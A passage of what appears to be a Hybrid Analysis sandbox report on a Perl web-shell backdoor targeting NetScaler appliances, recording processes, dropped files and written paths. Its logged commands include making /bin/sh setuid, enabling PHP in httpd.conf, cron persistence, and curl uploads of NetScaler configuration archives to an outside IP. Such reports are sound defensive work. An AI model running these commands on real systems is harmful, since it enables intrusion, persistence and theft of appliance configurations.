/var/netscaler/logon/LogonPoint/custom","sha256":"27f01f0f33fe6cee575f8f4f570b0695ba6f3eb33359b282c5a1152174f31e76","normalized_path":"/usr/bin/mkdir","parent_uid":"438675681-1640","uid":"441515699-1641"},{"pid":1642,"ppid":1640,"name":"cat","command_line":"","sha256":"dda0961715677dff3cd560e1933379c0eca73c0b6e19fef2737492ebc1de1700","normalized_path":"/usr/bin/cat","parent_uid":"438675681-1640","uid":"444445716-1642"},{"pid":1643,"ppid":1640,"name":"cat","command_line":"","sha256":"dda0961715677dff3cd560e1933379c0eca73c0b6e19fef2737492ebc1de1700","normalized_path":"/usr/bin/cat","parent_uid":"438675681-1640","uid":"446155727-1643"},{"pid":1644,"ppid":1640,"name":"mkdir","command_line":"mkdir -p /var/tmp/.ux","sha256":"27f01f0f33fe6cee575f8f4f570b0695ba6f3eb33359b282c5a1152174f31e76","normalized_path":"/usr/bin/mkdir","parent_uid":"438675681-1640","uid":"447685737-1644"},{"pid":1645,"ppid":1640,"name":"cat","command_line":"","sha256":"dda0961715677dff3cd560e1933379c0eca73c0b6e19fef2737492ebc1de1700","normalized_path":"/usr/bin/cat","parent_uid":"438675681-1640","uid":"449935751-1645"},{"pid":1646,"ppid":1640,"name":"cat","command_line":"","sha256":"dda0961715677dff3cd560e1933379c0eca73c0b6e19fef2737492ebc1de1700","normalized_path":"/usr/bin/cat","parent_uid":"438675681-1640","uid":"451695762-1646"},{"pid":1647,"ppid":1640,"name":"cat","command_line":"","sha256":"dda0961715677dff3cd560e1933379c0eca73c0b6e19fef2737492ebc1de1700","normalized_path":"/usr/bin/cat","parent_uid":"438675681-1640","uid":"453445772-1647"},{"pid":1648,"ppid":1640,"name":"chmod","command_line":"chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl","sha256":"f162501708c719c786ddceb78c2cc3b48dc2e33683114da199223c978bd62324","normalized_path":"/usr/bin/chmod","parent_uid":"438675681-1640","uid":"455345782-1648"},{"pid":1649,"ppid":1640,"name":"cat","command_line":"","sha256":"dda0961715677dff3cd560e1933379c0eca73c0b6e19fef2737492ebc1de1700","normalized_path":"/usr/bin/cat","parent_uid":"438675681-1640","uid":"457255793-1649"},{"pid":1650,"ppid":1640,"name":"chmod","command_line":"chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver","sha256":"f162501708c719c786ddceb78c2cc3b48dc2e33683114da199223c978bd62324","normalized_path":"/usr/bin/chmod","parent_uid":"438675681-1640","uid":"458795802-1650"},{"pid":1651,"ppid":1640,"name":"cp","command_line":"cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver","sha256":"2e17fe58f9bd77232d9565a503fb43f20bdc2206a3c6bf0d841071a1da6efd35","normalized_path":"/usr/bin/cp","parent_uid":"438675681-1640","uid":"462675834-1651"},{"pid":1652,"ppid":1640,"name":"cp","command_line":"cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb","sha256":"2e17fe58f9bd77232d9565a503fb43f20bdc2206a3c6bf0d841071a1da6efd35","normalized_path":"/usr/bin/cp","parent_uid":"438675681-1640","uid":"465265847-1652"},{"pid":1653,"ppid":1640,"name":"cp","command_line":"cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver","sha256":"2e17fe58f9bd77232d9565a503fb43f20bdc2206a3c6bf0d841071a1da6efd35","normalized_path":"/usr/bin/cp","parent_uid":"438675681-1640","uid":"467885861-1653"},{"pid":1654,"ppid":1640,"name":"cp","command_line":"cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver","sha256":"2e17fe58f9bd77232d9565a503fb43f20bdc2206a3c6bf0d841071a1da6efd35","normalized_path":"/usr/bin/cp","parent_uid":"438675681-1640","uid":"470485875-1654"},{"pid":1655,"ppid":1640,"name":"cp","command_line":"cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb","sha256":"2e17fe58f9bd77232d9565a503fb43f20bdc2206a3c6bf0d841071a1da6efd35","normalized_path":"/usr/bin/cp","parent_uid":"438675681-1640","uid":"473105888-1655"},{"pid":1656,"ppid":1640,"name":"chmod","command_line":"chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb","sha256":"f162501708c719c786ddceb78c2cc3b48dc2e33683114da199223c978bd62324","normalized_path":"/usr/bin/chmod","parent_uid":"438675681-1640","uid":"475705901-1656"},{"pid":1657,"ppid":1640,"name":"chmod","command_line":"chmod 6555 /bin/sh","sha256":"f162501708c719c786ddceb78c2cc3b48dc2e33683114da199223c978bd62324","normalized_path":"/usr/bin/chmod","parent_uid":"438675681-1640","uid":"477285910-1657"},{"pid":1658,"ppid":1640,"name":"chmod","command_line":"chmod 700 /nsconfig/.slap/boot.sh","sha256":"f162501708c719c786ddceb78c2cc3b48dc2e33683114da199223c978bd62324","normalized_path":"/usr/bin/chmod","parent_uid":"438675681-1640","uid":"478735920-1658"},{"pid":1659,"ppid":1640,"name":"perl","command_line":"perl -ni -e print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver} /etc/httpd.conf","sha256":"38d70f54fd18d614e9e6cc35c960b45f54e7b991894b8308e704ae9953c86ce4","normalized_path":"/usr/bin/perl","parent_uid":"438675681-1640","uid":"481925944-1659"},{"pid":1660,"ppid":1640,"name":"grep","command_line":"grep -q Alias /logon/LogonPoint/custom/receiver.v2.min.css /etc/httpd.conf","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"438675681-1640","uid":"502646138-1660"},{"pid":1661,"ppid":1640,"name":"cp","command_line":"cp /etc/httpd.conf /etc/httpd.conf.slap.bak","sha256":"2e17fe58f9bd77232d9565a503fb43f20bdc2206a3c6bf0d841071a1da6efd35","normalized_path":"/usr/bin/cp","parent_uid":"438675681-1640","uid":"506296152-1661"},{"pid":1662,"ppid":1640,"name":"cat","command_line":"","sha256":"dda0961715677dff3cd560e1933379c0eca73c0b6e19fef2737492ebc1de1700","normalized_path":"/usr/bin/cat","parent_uid":"438675681-1640","uid":"511306168-1662"},{"pid":1663,"ppid":1640,"name":"perl","command_line":"perl -pi -e s/php_flag engine off/php_flag engine on/ /etc/httpd.conf","sha256":"38d70f54fd18d614e9e6cc35c960b45f54e7b991894b8308e704ae9953c86ce4","normalized_path":"/usr/bin/perl","parent_uid":"438675681-1640","uid":"513526177-1663"},{"pid":1664,"ppid":1640,"name":"grep","command_line":"grep -q AddType application/x-httpd-php .deb /etc/httpd.conf","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"438675681-1640","uid":"519976202-1664"},{"pid":1665,"ppid":1640,"name":"bash","command_line":"bash /home/ubuntu/b9b0a4380db4.pl","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"438675681-1640","uid":"523286215-1665"},{"pid":1667,"ppid":1640,"name":"grep","command_line":"grep -q [.]slap/agent.pl","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"438675681-1640","uid":"526356226-1667"},{"pid":1666,"ppid":1640,"name":"ps","command_line":"ps -axww","sha256":"8e86f498aa4aabfcea6c179d6181557140b4597f1c39bb94e2aba32158b58297","normalized_path":"/usr/bin/ps","parent_uid":"438675681-1640","uid":"531276245-1666"},{"pid":1669,"ppid":1640,"name":"grep","command_line":"grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"438675681-1640","uid":"628336412-1669"},{"pid":1668,"ppid":1640,"name":"perl","command_line":"perl /nsconfig/.slap/agent.pl","sha256":"38d70f54fd18d614e9e6cc35c960b45f54e7b991894b8308e704ae9953c86ce4","normalized_path":"/usr/bin/perl","parent_uid":"438675681-1640","uid":"634316430-1668"},{"pid":1670,"ppid":1640,"name":"grep","command_line":"grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"438675681-1640","uid":"638936446-1670"},{"pid":1671,"ppid":1640,"name":"crontab","command_line":"crontab -l","sha256":"d71b4e26034ec955cae7e7101a4b33f5923b3396a0e1e1893cd1274bbb51c3ec","normalized_path":"/usr/bin/crontab","parent_uid":"438675681-1640","uid":"646356472-1671"},{"pid":1672,"ppid":1640,"name":"grep","command_line":"grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"438675681-1640","uid":"651906487-1672"},{"pid":1673,"ppid":1640,"name":"grep","command_line":"grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"438675681-1640","uid":"656046500-1673"},{"pid":1674,"ppid":1640,"name":"crontab","command_line":"crontab /tmp/.slap.cron","sha256":"d71b4e26034ec955cae7e7101a4b33f5923b3396a0e1e1893cd1274bbb51c3ec","normalized_path":"/usr/bin/crontab","parent_uid":"438675681-1640","uid":"660466513-1674"},{"pid":1676,"ppid":1640,"name":"pgrep","command_line":"pkill -f /var/tmp/.ux/slapshot.py","sha256":"8e1a7f00f33b9447e24835307cef71800677a2fe2975c8a1632b613109816b52","normalized_path":"/usr/bin/pgrep","parent_uid":"438675681-1640","uid":"674456563-1676"},{"pid":1677,"ppid":1640,"name":"pgrep","command_line":"pkill -f /var/tmp/.ux/whipd.py","sha256":"8e1a7f00f33b9447e24835307cef71800677a2fe2975c8a1632b613109816b52","normalized_path":"/usr/bin/pgrep","parent_uid":"438675681-1640","uid":"819826921-1677"},{"pid":1680,"ppid":1640,"name":"date","command_line":"date -u","sha256":"570f4d0df87a59cb75490671d7b3eac88671ad72bbc194540c713d2fa2be573b","normalized_path":"/usr/bin/date","parent_uid":"438675681-1640","uid":"943197151-1680"},{"pid":1679,"ppid":1640,"name":"python3.12","command_line":"python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid","sha256":"1d3cf64f97cadc79fdc6fe2496a21b7b456cb94211978cfef5a65f616af74fd5","normalized_path":"/usr/bin/python3.12","parent_uid":"438675681-1640","uid":"947867169-1679"},{"pid":1678,"ppid":1640,"name":"python3.12","command_line":"python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid","sha256":"1d3cf64f97cadc79fdc6fe2496a21b7b456cb94211978cfef5a65f616af74fd5","normalized_path":"/usr/bin/python3.12","parent_uid":"438675681-1640","uid":"948617172-1678"},{"pid":1681,"ppid":1640,"name":"id","command_line":"","sha256":"5a5817d18b918a366ef4c07e2806e0aeb3d9b144ff90c036f0a4a94f347a96fc","normalized_path":"/usr/bin/id","parent_uid":"438675681-1640","uid":"955017210-1681"},{"pid":1682,"ppid":1640,"name":"uname","command_line":"uname -a","sha256":"ca548e23cdccdf65e6d15b9f181f94a51d817edb60e83cd7013fab0e2a18568f","normalized_path":"/usr/bin/uname","parent_uid":"438675681-1640","uid":"962657250-1682"},{"pid":1683,"ppid":1640,"name":"ls","command_line":"ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf","sha256":"1bea8094b78a3910345d80af3d182390fda07ae5788352651eb7773505dc39af","normalized_path":"/usr/bin/ls","parent_uid":"438675681-1640","uid":"967347275-1683"},{"pid":1684,"ppid":1640,"name":"bash","command_line":"bash /home/ubuntu/b9b0a4380db4.pl","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","parent_uid":"438675681-1640","uid":"978767329-1684"},{"pid":1685,"ppid":1640,"name":"grep","command_line":"grep -in php /etc/httpd.conf","sha256":"20a35a4c18f2fe9e6305c1cbf866b9c0fcc3f957132ae66028c99ec353bb0a80","normalized_path":"/usr/bin/grep","parent_uid":"438675681-1640","uid":"987217371-1685"},{"pid":1686,"ppid":1640,"name":"tail","command_line":"tail -n 80","sha256":"80f08f3d456c221b584dfecd607025b7883047f586761bb2e1d04738b7513d39","normalized_path":"/usr/bin/tail","parent_uid":"438675681-1640","uid":"992357394-1686"},{"pid":1687,"ppid":1640,"name":"sed","command_line":"sed -n 1395,1425p /etc/httpd.conf","sha256":"db67d4895f868617bfd19786247ebda7c2f50f4cb3857a987f732a2c267a799e","normalized_path":"/usr/bin/sed","parent_uid":"438675681-1640","uid":"996017411-1687"},{"pid":1688,"ppid":1640,"name":"tail","command_line":"tail -n 80 /var/log/httpd/error_log","sha256":"80f08f3d456c221b584dfecd607025b7883047f586761bb2e1d04738b7513d39","normalized_path":"/usr/bin/tail","parent_uid":"438675681-1640","uid":"1003007441-1688"},{"pid":1689,"ppid":1640,"name":"tail","command_line":"tail -n 80 /var/log/httpd/error.log","sha256":"80f08f3d456c221b584dfecd607025b7883047f586761bb2e1d04738b7513d39","normalized_path":"/usr/bin/tail","parent_uid":"438675681-1640","uid":"1009617481-1689"},{"pid":1690,"ppid":1640,"name":"tail","command_line":"tail -n 40 /var/log/ns.log","sha256":"80f08f3d456c221b584dfecd607025b7883047f586761bb2e1d04738b7513d39","normalized_path":"/usr/bin/tail","parent_uid":"438675681-1640","uid":"1013437501-1690"},{"pid":1691,"ppid":1640,"name":"mkdir","command_line":"mkdir -p /var/tmp/.s2loot","sha256":"27f01f0f33fe6cee575f8f4f570b0695ba6f3eb33359b282c5a1152174f31e76","normalized_path":"/usr/bin/mkdir","parent_uid":"438675681-1640","uid":"1017477520-1691"},{"pid":1692,"ppid":1640,"name":"tar","command_line":"tar czf /var/tmp/.s2loot/nsconfig.tgz .","sha256":"6453fce2cf2dde32b86557bb44f533afb3b5171b59b8d21cc797b9b20d9c7b06","normalized_path":"/usr/bin/tar","parent_uid":"438675681-1640","uid":"1021647542-1692"},{"pid":1693,"ppid":1692,"name":"dash","command_line":"sh -c gzip","sha256":"86d31f6fb799e91fa21bad341484564510ca287703a16e9e46c53338776f4f42","normalized_path":"/usr/bin/dash","parent_uid":"1021647542-1692","uid":"1030067581-1693"},{"pid":1694,"ppid":1693,"name":"gzip","command_line":"","sha256":"16f1f8dbe5b47b3c1160b9066bd15bfdd80548b1b878b1a025c462fec0ca02b1","normalized_path":"/usr/bin/gzip","parent_uid":"1030067581-1693","uid":"1033257599-1694"},{"pid":1695,"ppid":1640,"name":"curl","command_line":"curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/ae7427/loot_nsconfig.tgz","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"438675681-1640","uid":"1039797646-1695"},{"pid":1696,"ppid":1640,"name":"tar","command_line":"tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak","sha256":"6453fce2cf2dde32b86557bb44f533afb3b5171b59b8d21cc797b9b20d9c7b06","normalized_path":"/usr/bin/tar","parent_uid":"438675681-1640","uid":"1184862726-1696"},{"pid":1697,"ppid":1696,"name":"dash","command_line":"sh -c gzip","sha256":"86d31f6fb799e91fa21bad341484564510ca287703a16e9e46c53338776f4f42","normalized_path":"/usr/bin/dash","parent_uid":"1184862726-1696","uid":"1188002741-1697"},{"pid":1698,"ppid":1697,"name":"gzip","command_line":"","sha256":"16f1f8dbe5b47b3c1160b9066bd15bfdd80548b1b878b1a025c462fec0ca02b1","normalized_path":"/usr/bin/gzip","parent_uid":"1188002741-1697","uid":"1189242748-1698"},{"pid":1699,"ppid":1640,"name":"curl","command_line":"curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/ae7427/loot_nshist.tgz","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"438675681-1640","uid":"1191172762-1699"},{"pid":1700,"ppid":1640,"name":"rm","command_line":"rm -rf /var/tmp/.s2loot","sha256":"8e3faaa5eb4a2a4d0e2788fe442bcac6d604be5a0c5a9f09d08f06e3a3fcf570","normalized_path":"/usr/bin/rm","parent_uid":"438675681-1640","uid":"1214307157-1700"},{"pid":1701,"ppid":1640,"name":"curl","command_line":"curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/ae7427/loot_httpd.conf","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"438675681-1640","uid":"1216107169-1701"},{"pid":1702,"ppid":1640,"name":"curl","command_line":"curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/ae7427/loot_diag.txt","sha256":"aca992dba6da014cd5baaa739624e68362c8930337f3a547114afdbd708d06a4","normalized_path":"/usr/bin/curl","parent_uid":"438675681-1640","uid":"1236562078-1702"},{"pid":1675,"ppid":0,"name":"bash","command_line":"bash /home/ubuntu/b9b0a4380db4.pl","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","uid":"666526527-1675"}],"all_imported_dlls":null},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"urlref_http213.209.159.55443tae7427","sha256":"0d8e0c1a30053c63318e0f6b6b36321ff0ea6a94684a06cb1656a0029e5de9ae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"be559fb34104b8ce_slapshot.py","sha256":"be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"dc07e82e31f874c3_whipd.py","sha256":"dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"94c5ccd3a35357b2_agent.pl","sha256":"94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"02df972f3bd6b16b_nsconfig.tgz","sha256":"02df972f3bd6b16bc5229d517f4231e3a1799f117ed4a0d65fedac25d68c2394","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"cd6b7acea0bdbcf8_boot.sh","sha256":"cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"013b311b49954931_root","sha256":"013b311b499549311ff9a250409af07c2c7994567d06d2143eddaf6a0fe7cbd3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"76459c69ae42b460_.slap.cron","sha256":"76459c69ae42b460b458ae5c87f62a541f4a928ef1340ae3ebf9f8d75d7c8875","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"899b16c1b02f95f2_.slap-diag.txt","sha256":"899b16c1b02f95f2790be257b1231a75bd2636840122e7eb61d2a32b0b694310","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"f09c1bf2c6148e9e_bridge.pl","sha256":"f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"9f792058552da5cb_receiver.deb","sha256":"9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"9bff764208314b8f_httpd.conf","sha256":"9bff764208314b8f205de064861448f2f1c2c4592e0e7bc286816b46cc7ef31e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"d7c4b95bf8eaed28_httpd.conf _deleted_","sha256":"d7c4b95bf8eaed28af8c0381a5863886d2af4ebf6fdcf416f956beae12804112","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"c15dd5cef61b01d8_.slap-httpd-test.log","sha256":"c15dd5cef61b01d8685e03449b66b6bb4f647c1c1e77b2eaf59d0286aaed39ca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"4c1a2751a1b474cc_rc.netscaler","sha256":"4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"d6a0d9271a9dae14_whip.log","sha256":"d6a0d9271a9dae14de262454be3f66ac8f5e4570ccc9cd0083330ce3baa37c73","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"43cdd2cffdba72d7_agent.log","sha256":"43cdd2cffdba72d7f2d1455162bd6bce70e8037de0f0c1d75a7fc809b8933696","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"85cea451eec057fa_hist.tgz","sha256":"85cea451eec057fa7e734548ca3ba6d779ed5836a3f9de14b8394575ef0d7d8e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"e573c9b5545420c3_.uxdport","sha256":"e573c9b5545420c3fef29f2ddd6adcad17552c66eb15d7f568bb170f6bcf0fc0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"5e23145ad105f9f1_.uxdlock","sha256":"5e23145ad105f9f1f0e74c91c86dee03af08ff218ae4c69da00d53bcf81231ce","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]}],"files_written":[{"path":"/etc/httpd.conf","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/nsconfig/rc.netscaler","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/tmp/.slap.cron","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.slap-diag.txt","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/dev/null","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/nsconfig","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/nsconfig/.slap","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/netscaler","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/netscaler/logon","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/netscaler/logon/LogonPoint","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/netscaler/logon/LogonPoint/custom","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/nsconfig/.slap/agent.pl","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/nsconfig/.slap/bridge.pl","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.ux","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.ux/slapshot.py","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.ux/whipd.py","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/nsconfig/.slap/boot.sh","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/netscaler/logon/LogonPoint/custom/.slap.receiver","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/netscaler/logon/LogonPoint/custom/.ctxs.receiver","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/netscaler/logon/LogonPoint/custom/receiver.deb","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/nsconfig/.slap/.slap.receiver","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/nsconfig/.slap/.ctxs.receiver","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/nsconfig/.slap/receiver.deb","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/etc/XXtTdP85","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.slap-httpd-test.log","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.slap-agent.log","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/tmp/.uxdport","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/tmp/.uxdlock","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/spool/cron/crontabs/tmp.iRam2t","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/spool/cron/crontabs/root","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.ux/whip.log","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.ux/whip.pid","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.ux/agent.log","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.ux/agent.pid","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.s2loot","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.s2loot/nsconfig.tgz","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.s2loot/hist.tgz","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]}],"files_deleted":[{"path":"/var/tmp/.s2loot/hist.tgz","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.s2loot/nsconfig.tgz","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"path":"/var/tmp/.s2loot","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]}]},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["6ac284e2f46a4f9e090362cd"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Backdoor/Perl.WebShell Sample b9b0a4380db4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample b9b0a4380db4…. Malware family: Backdoor/Perl.WebShell. Threat score 100/100. 3/26 AV engines flagged this file. 8 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63"}],["$","meta","4",{"property":"og:title","content":"Malicious Backdoor/Perl.WebShell Sample b9b0a4380db4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample b9b0a4380db4…. Malware family: Backdoor/Perl.WebShell. Threat score 100/100. 3/26 